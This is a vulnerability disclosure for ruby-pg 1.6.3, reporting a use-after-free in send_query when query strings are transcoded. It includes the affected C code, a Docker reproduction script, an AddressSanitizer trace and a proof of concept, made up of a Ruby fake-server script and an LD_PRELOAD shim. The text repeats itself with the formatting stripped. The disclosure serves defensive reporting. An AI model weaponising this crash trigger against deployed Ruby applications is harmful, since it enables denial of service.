Summary
PG::Connection#send_query converts non-connection-encoding Ruby strings to temporary Ruby strings, returns raw C pointers to those temporaries, and passes them to libpq without keeping the Ruby strings alive. GC can free the transcoded query while libpq is still reading it.
Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
pg_cstr_enc returns a raw C string pointer. When conversion is needed, the converted Ruby string is stored only in the local str variable.
static const char *pg_cstr_enc(VALUE str, int enc_idx){
const char *ptr = StringValueCStr(str);
if( ENCODING_GET(str) == enc_idx ){
return ptr;
} else {
str = rb_str_export_to_enc(str, rb_enc_from_index(enc_idx));
return StringValueCStr(str);
}
}
ext/pg_connection.c:156
send_query passes that pointer directly into gvl_PQsendQuery.
if ( argc == 1 || (argc >= 2 && argc <= 4 && NIL_P(argv[1]) )) {
if(gvl_PQsendQuery(this->pgconn, pg_cstr_enc(argv[0], this->enc_idx)) == 0)
pg_raise_conn_error( rb_eUnableToSend, self, "PQsendQuery %s", PQerrorMessage(this->pgconn));
ext/pg_connection.c:1980
The libpq wrapper runs without the GVL, so another Ruby thread can collect the temporary transcoded query before libpq finishes reading it. The inline PoC uses a small libpq shim to delay PQsendQuery, then forces GC while libpq reads the stale pointer.
Reproduce
Create poc.rb and shim.c from the inline artifacts below, then run this on a machine with Docker:
mkdir -p dfvuln-805 && cp poc.rb shim.c dfvuln-805/ && cd dfvuln-805
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
gcc -shared -fPIC -O0 -g -fsanitize=address -fno-omit-frame-pointer -I"$(pg_config --includedir)" -o /work/shim.so /work/shim.c -ldl
ASAN_LIB=$(gcc -print-file-name=libasan.so)
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0:verify_asan_link_order=0:allocator_may_return_null=1:use_sigaltstack=0
set +e
LD_PRELOAD="$ASAN_LIB:/work/shim.so" ASAN_OPTIONS="$ASAN_OPTIONS" RUBYLIB=/tmp/src/lib MODE=safe N=5000000 ruby /work/poc.rb /work/safe.bin > /work/asan.log 2>&1
safe=$?
LD_PRELOAD="$ASAN_LIB:/work/shim.so" ASAN_OPTIONS="$ASAN_OPTIONS" RUBYLIB=/tmp/src/lib MODE=vuln N=5000000 ruby /work/poc.rb /work/vuln.bin >> /work/asan.log 2>&1
vuln=$?
cat /work/asan.log
test "$safe" -eq 0
exit "$vuln"
'
The reproduced sanitizer stack is included inline below:
==3511==ERROR: AddressSanitizer: heap-use-after-free
READ of size 4999799 at 0xffff61ce1800 thread T0
#0 0xffff8e14b4dc in __interceptor_strlen
#1 0xffff8a549b3c (/usr/lib/aarch64-linux-gnu/libpq.so.5+0x19b3c)
#2 0xffff8a5449f0 (/usr/lib/aarch64-linux-gnu/libpq.so.5+0x149f0)
#3 0xffff8e0d0908 in PQsendQuery /work/shim.c:12
#4 0xffff8a34a830 in gvl_PQsendQuery_skeleton /tmp/src/ext/gvl_wrappers.c:25
#5 0xffff8dd81d9c in rb_nogvl /usr/src/ruby/thread.c:1546
#7 0xffff8a366c90 in pgconn_send_query /tmp/src/ext/pg_connection.c:1981
freed by thread T5 here:
#0 0xffff8e1aa5a0 in __interceptor_free
#1 0xffff8dc0dbdc in objspace_xfree /usr/src/ruby/gc.c:12832
SUMMARY: AddressSanitizer: heap-use-after-free in __interceptor_strlen
Inline reproduction artifact(s):
poc.rb
$stdout.sync = true
require 'socket'
require 'pg'
MODE = ENV.fetch('MODE', 'vuln')
N = Integer(ENV.fetch('N', '5000000'))
RECV = ARGV[0] || 'received.bin'
def send_msg(io, type, payload)
io.write(type + [payload.bytesize + 4].pack('N') + payload)
end
def make_query
base = "SELECT 1 /*" + ("é" * N) + "*/"
MODE == 'safe' ? base.dup : base.encode(Encoding::ISO_8859_1)
end
srv = TCPServer.new('127.0.0.1', 0)
port = srv.local_address.ip_port
puts "mode=#{MODE} port=#{port}"
server = Thread.new do
c = srv.accept
len = c.read(4).unpack1('N')
c.read(len - 4)
send_msg(c, 'R', [0].pack('N'))
send_msg(c, 'S', "client_encoding\0UTF8\0")
send_msg(c, 'S', "server_version\0" + "17.0\0")
send_msg(c, 'K', [1, 2].pack('NN'))
send_msg(c, 'Z', "I")
typ = c.read(1)
if typ
qlen = c.read(4).unpack1('N')
data = c.read(qlen - 4)
File.binwrite(RECV, data)
fields = "SERROR\0CXX000\0Mboom\0\0"
send_msg(c, 'E', fields)
send_msg(c, 'Z', "I")
end
rescue => e
warn "server err: #{e.class}: #{e.message}"
end
conn = PG.connect(host: '127.0.0.1', port: port, dbname: 'x', user: 'x',
sslmode: 'disable', gssencmode: 'disable')
query = make_query
want = query.encoding == Encoding::UTF_8 ? query.b + "\0" :
query.encode(Encoding::UTF_8).b + "\0"
puts "conn_enc=#{conn.internal_encoding} query_enc=#{query.encoding}"
puts "query_bytes=#{query.bytesize} want_bytes=#{want.bytesize}"
stop = false
thr = Thread.new do
junk = []
size = want.bytesize + 1000
until stop
2.times { junk << ('Z' * size) }
junk.shift while junk.size > 2
GC.start(full_mark: true, immediate_sweep: true)
end
end
begin
conn.exec(query)
rescue => e
warn "client err: #{e.class}: #{e.message}"
ensure
stop = true
thr.join
conn.finish rescue nil
server.join(1)
end
if MODE == 'safe' && File.exist?(RECV)
got = File.binread(RECV)
puts "safe_match=#{got == want} got_bytes=#{got.bytesize}"
end
shim.c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <unistd.h>
#include <libpq-fe.h>
typedef int (*pqsendquery_fn)(PGconn *, const char *);
int PQsendQuery(PGconn *conn, const char *query) {
static pqsendquery_fn real_fn;
if (!real_fn) real_fn = (pqsendquery_fn)dlsym(RTLD_NEXT, "PQsendQuery");
usleep(200000);
return real_fn(conn, query);
}
Security Impact
This is a native use-after-free during query submission. It can crash Ruby applications that call exec or send_query with attacker-influenced strings requiring transcoding.
Credit
Zheng Yu from depthfirst (depthfirst.com)
Summary
PG::Connection#send_queryconverts non-connection-encoding Ruby strings to temporary Ruby strings, returns raw C pointers to those temporaries, and passes them to libpq without keeping the Ruby strings alive. GC can free the transcoded query while libpq is still reading it.Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
pg_cstr_encreturns a raw C string pointer. When conversion is needed, the converted Ruby string is stored only in the localstrvariable.ext/pg_connection.c:156send_querypasses that pointer directly intogvl_PQsendQuery.ext/pg_connection.c:1980The libpq wrapper runs without the GVL, so another Ruby thread can collect the temporary transcoded query before libpq finishes reading it. The inline PoC uses a small libpq shim to delay
PQsendQuery, then forces GC while libpq reads the stale pointer.Reproduce
Create
poc.rbandshim.cfrom the inline artifacts below, then run this on a machine with Docker:The reproduced sanitizer stack is included inline below:
Inline reproduction artifact(s):
poc.rbshim.cSecurity Impact
This is a native use-after-free during query submission. It can crash Ruby applications that call
execorsend_querywith attacker-influenced strings requiring transcoding.Credit
Zheng Yu from depthfirst (depthfirst.com)